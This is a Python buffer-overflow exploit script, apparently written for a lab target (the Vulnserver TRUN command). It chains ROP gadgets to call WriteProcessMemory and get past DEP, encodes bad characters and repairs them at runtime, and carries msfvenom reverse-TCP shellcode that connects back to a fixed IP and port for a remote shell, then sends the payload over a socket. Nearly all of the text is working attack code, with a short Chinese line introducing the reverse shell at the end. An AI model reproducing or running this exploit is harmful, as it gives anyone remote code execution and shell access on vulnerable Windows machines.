def encodeShellcode(sh):
BADCHARS = b"\x00\x09\x0a"
REPLACECHARS = b"\xff\x10\x06"
encodedShell = sh
for i in range(len(BADCHARS)):
encodedShell = encodedShell.replace(struct.pack("B", BADCHARS[i]), struct.pack("B", REPLACECHARS[i]))
return encodedShell

def decodeShellcode(dllBase, badIndex, shellcode):
BADCHARS = b"\x00\x09\x0a"
CHARSTOADD = b"\x01\xf9\x04"
restoreRop = b""
for i in range(len(badIndex)):
if i == 0:
offset = badIndex[i]
else:
offset = badIndex[i] - badIndex[i-1]
neg_offset = (-offset) & 0xffffffff
value = 0
for j in range(len(BADCHARS)):
if shellcode[badIndex[i]] == BADCHARS[j]:
value = CHARSTOADD[j]
value = (value) | 0x11111100 # DL
print(hex(value))

# current EAX point to the address of shellcode-1
restoreRop += struct.pack("<L", (dllBase + 0x7637768e)) # POP ECX # RETN ** [WS2_32.DLL] **
restoreRop += struct.pack("<L", (neg_offset))
restoreRop += struct.pack("<L", (dllBase + 0x758ba9a8)) # SUB EAX,ECX # RETN ** [KERNEL32.DLL] **
restoreRop += struct.pack("<L", (0x7721aed0)) # POP EDX # RETN ** [ntdll.dll] **
restoreRop += struct.pack("<L", (value)) # values in DL
restoreRop += struct.pack("<L", (dllBase + 0x755bc4eb)) # ADD BYTE PTR [EAX],DL # RETN ** [KERNELBASE.dll] **
return restoreRop


def main():

#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.13.137 LPORT=4444 EXITFUNC=thread -f python -v shellcode
shellcode = b""
shellcode += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0"
shellcode += b"\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b"
shellcode += b"\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61"
shellcode += b"\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2"
shellcode += b"\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11"
shellcode += b"\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3"
shellcode += b"\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6"
shellcode += b"\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75"
shellcode += b"\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b"
shellcode += b"\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
shellcode += b"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24"
shellcode += b"\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a"
shellcode += b"\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
shellcode += b"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff"
shellcode += b"\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
shellcode += b"\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40"
shellcode += b"\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97"
shellcode += b"\x6a\x05\x68\xc0\xa8\x5b\x89\x68\x02\x00\x11"
shellcode += b"\x5c\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74"
shellcode += b"\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75"
shellcode += b"\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x68\x63\x6d"
shellcode += b"\x64\x00\x89\xe3\x57\x57\x57\x31\xf6\x6a\x12"
shellcode += b"\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01"
shellcode += b"\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56"
shellcode += b"\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc"
shellcode += b"\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30"
shellcode += b"\x68\x08\x87\x1d\x60\xff\xd5\xbb\xe0\x1d\x2a"
shellcode += b"\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c"
shellcode += b"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f"
shellcode += b"\x6a\x00\x53\xff\xd5"

pos = mapBadChars(shellcode)
print(pos)
encodedRevShell = encodeShellcode(shellcode)


func = struct.pack("<L",0x45454545) # WriteProcessMemory Address
func += struct.pack("<L",0x62501c10) # Shellcode Return Address
func += struct.pack("<L",0xFFFFFFFF) # pseudo Process handle
func += struct.pack("<L",0x62501c10) # Code cave address
func += struct.pack("<L",0x41414141) # dummy lpBuffer (Stack address)
func += struct.pack("<L",0x41414141) # dummy nSize
func += struct.pack("<L",0x62502028) # lpNumberOfBytesWritten


eip = struct.pack("<L",0x62501022) # retn essfunc.dll
# save ESP to ESI,EDX,EAX
rop1 = struct.pack("<L", 0x755912d6) # PUSH ESP # POP ESI # RETN
rop1 += struct.pack("<L", 0x755b671f) # MOV EDX,ESI # POP ESI # RETN 0x04
rop1 += struct.pack("<L", 0x41414141) # junk
rop1 += struct.pack("<L", 0x7728bdf4) # MOV EAX,EDX # POP ESI # RETN
rop1 += struct.pack("<L", 0x41414141) # junk
rop1 += struct.pack("<L", 0x41414141) # junk

# Patching dummy lpBuffer
rop1 += struct.pack("<L", 0x758cc157) # POP ECX # RETN
rop1 += struct.pack("<L", 0x88888888) # 0x88888888
rop1 += struct.pack("<L", 0x75515163) # ADD EAX,ECX # RETN
rop1 += struct.pack("<L", 0x758cc157) # POP ECX # RETN
rop1 += struct.pack("<L", 0x7777798c) # 0x7777798c
rop1 += struct.pack("<L", 0x75515163) # ADD EAX,ECX # RETN
rop1 += struct.pack("<L", 0x772a9052) # XCHG EAX,ECX # RETN
rop1 += struct.pack("<L", 0x758fe636) # MOV EAX,EDX # RETN
rop1 += struct.pack("<L", 0x772f4302) # SUB EAX,16 # RETN
rop1 += struct.pack("<L", 0x749f4480) # INC EAX # RETN
rop1 += struct.pack("<L", 0x749f4480) # INC EAX # RETN



rop1 += struct.pack("<L", 0x754e2d6d) # MOV DWORD PTR [EAX],ECX # RETN

# Patching dummy nSize
rop1 += struct.pack("<L", 0x74a01e84) # INC EAX # RETN
rop1 += struct.pack("<L", 0x74a01e84) # INC EAX # RETN
rop1 += struct.pack("<L", 0x74a01e84) # INC EAX # RETN
rop1 += struct.pack("<L", 0x74a01e84) # INC EAX # RETN
rop1 += struct.pack("<L", 0x772a5a6f) # POP ECX # RETN
rop1 += struct.pack("<L", 0xfffffdf4) # 0xfffffdf4
rop1 += struct.pack("<L", 0x772a9052) # XCHG EAX,ECX # RETN
rop1 += struct.pack("<L", 0x758f15ce) # NEG EAX # RETN
rop1 += struct.pack("<L", 0x772a9052) # XCHG EAX,ECX # RETN
rop1 += struct.pack("<L", 0x754e2d6d) # MOV DWORD PTR [EAX],ECX # RETN

# Patching WriteProcessMemory Address
rop1 += struct.pack("<L", 0x772f4302) # SUB EAX,16 # RETN
rop1 += struct.pack("<L", 0x74a01e84) # INC EAX # RETN
rop1 += struct.pack("<L", 0x74a01e84) # INC EAX # RETN
rop1 += struct.pack("<L", 0x76068122) # XCHG EAX,EDI # RETN
rop1 += struct.pack("<L", 0x758cc157) # POP ECX # RETN
rop1 += struct.pack("<L", 0x62506090) # IAT 62506090 AddAtomA KERNEL32
rop1 += struct.pack("<L", 0x75fd7518) # XCHG EAX,DWORD PTR [ECX] # RETN
rop1 += struct.pack("<L", 0x772a9052) # XCHG EAX,ECX # RETN
rop1 += struct.pack("<L", 0x7557771b) # POP EAX # RETN
rop1 += struct.pack("<L", 0xfffd9df0) # 0xfffd9df0
rop1 += struct.pack("<L", 0x758f15ce) # NEG EAX # RETN
rop1 += struct.pack("<L", 0x75515163) # ADD EAX,ECX # RETN
rop1 += struct.pack("<L", 0x772a9052) # XCHG EAX,ECX # RETN
rop1 += struct.pack("<L", 0x76068122) # XCHG EAX,EDI # RETN
rop1 += struct.pack("<L", 0x754e2d6d) # MOV DWORD PTR [EAX],ECX # RETN

# save current EAX to EBX
rop1 += struct.pack("<L", 0x7730e63c) # XCHG EAX,ESI # RETN
rop1 += struct.pack("<L", 0x75f84c67) # MOV EAX,ESI # RETN

# Align EAX with shellcode
rop1 += struct.pack("<L", 0x772a5a6f) # POP ECX # RETN
rop1 += struct.pack("<L", 0xfffffd78) # 0n648
rop1 += struct.pack("<L", 0x772974e4) # SUB EAX,ECX # RETN ** [ntdll.dll] **

rop1 += decodeShellcode(0, pos, shellcode)

# Align ESP with ROP Skeleton
rop1 += struct.pack("<L", 0x7730e63c) # XCHG EAX,ESI # RETN
rop1 += struct.pack("<L", 0x749f2002) # XCHG EAX,ESP # RETN




# padding = b"C" * (3000-2006-32-len(rop1)-len(shellcode))
padding = b"\x44" * 1000

PAYLOAD = (
b'TRUN .' +
b'A' * (2006-len(func)) +
func +
eip +
rop1 +
b"\x90"*80+
encodedRevShell+
padding
)

with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)


if __name__ == "__main__":
main()

喜闻乐见的反弹shell如下:

BOF